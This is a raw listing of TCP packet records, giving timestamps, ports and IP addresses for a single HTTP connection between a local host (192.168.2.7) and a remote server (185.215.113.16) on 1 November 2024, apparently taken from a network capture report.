Nov 1, 2024 12:13:30.115261078 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115272045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115288973 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115300894 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115318060 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115331888 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115331888 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115334034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115400076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115411997 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115422964 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115436077 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115437984 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115447998 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115453005 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115468979 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115482092 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115484953 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115493059 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115505934 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115505934 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115519047 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115533113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115559101 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115559101 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115721941 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.115736008 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115747929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115761995 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115773916 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115786076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.115816116 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116060019 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116086960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116099119 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116111040 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116122007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116133928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116146088 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116158962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116187096 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116187096 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116214991 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116225958 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116236925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116256952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116271019 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116285086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116297960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116302967 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116302967 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116302967 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116466045 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116483927 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116497040 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116508007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116519928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116533041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116544962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116549969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116549969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116556883 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116568089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116580009 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116590977 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116590977 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116771936 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116904020 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116916895 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116928101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116941929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116952896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116966963 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116972923 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116980076 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.116986990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.116997957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117008924 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117016077 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117033005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117038012 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117043972 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117049932 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117057085 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117062092 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117064953 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117068052 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117079973 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117086887 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117089987 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117108107 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117311954 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117327929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117345095 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117357969 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117369890 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117382050 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117393970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117405891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117418051 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117425919 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117425919 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117430925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117443085 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117480993 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117600918 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117753029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117764950 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117775917 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117806911 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117830038 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117841959 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117860079 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117867947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117878914 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117891073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117898941 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117903948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117916107 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.117919922 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.117954016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118021965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118266106 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118277073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118288994 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118299961 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118313074 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118316889 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118324995 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118334055 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118339062 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118350029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118366003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118376970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118387938 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118400097 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118427038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118427038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118427038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118519068 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118551970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118563890 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118577003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118626118 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118637085 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118643045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118649960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118666887 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118709087 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118736029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118746996 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118757963 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118769884 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118782043 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118820906 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118897915 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118910074 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118916988 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118921041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118948936 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.118967056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118979931 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.118990898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119004965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119015932 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119029045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119040012 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119050026 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.119050026 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.119093895 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.119151115 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119163036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.119188070 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.119335890 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.156380892 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.158068895 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.432976007 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.437865973 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711436987 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711463928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711492062 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711503029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711514950 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711528063 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711539984 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711563110 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.711563110 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.711626053 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711639881 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711653948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711667061 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711684942 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.711684942 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.711694956 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711704969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.711709976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.711720943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.712987900 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164443970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164469957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164488077 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164500952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164515018 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164527893 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164570093 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164602995 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164635897 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164647102 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164659023 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164665937 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164673090 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164685011 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164714098 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164733887 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164777994 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164792061 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164810896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164822102 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164829016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164836884 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164851904 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.164874077 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.164906979 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165040970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165054083 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165065050 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165076971 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165088892 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165093899 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165101051 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165113926 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165118933 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165126085 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165138006 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165138006 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165149927 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165189981 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165189981 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.165334940 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.165992975 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166004896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166017056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166029930 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166043043 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166054010 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166054010 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166055918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166069031 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166071892 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166079998 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166100025 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166129112 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166134119 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166145086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166157961 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166163921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166178942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166191101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166203022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166220903 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166228056 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166228056 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166233063 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166245937 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166259050 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166280985 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166294098 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166296005 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166296005 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166306019 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166346073 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166366100 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166527033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166538000 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166548014 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166560888 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166573048 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166584969 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166603088 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166606903 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166606903 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166615963 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166629076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166641951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166641951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166655064 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166656017 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166670084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166682005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166695118 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166696072 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166707039 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166723967 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166737080 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.166920900 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166933060 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166945934 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166960001 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166971922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166982889 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.166982889 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167001009 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167012930 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167015076 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167015076 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167023897 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167037010 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167042971 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167056084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167066097 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167068005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167079926 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167093039 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167104959 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167108059 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167115927 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167128086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167129040 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167140007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167152882 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167165041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167165995 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167165995 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167176962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167191029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167217970 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167217970 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.167504072 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.167545080 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.169950962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170219898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170233965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170248032 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170264006 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170284033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170289040 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.170289040 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.170300961 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.170309067 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.170325041 CET	80	49772	185.215.113.16	192.168.2.7
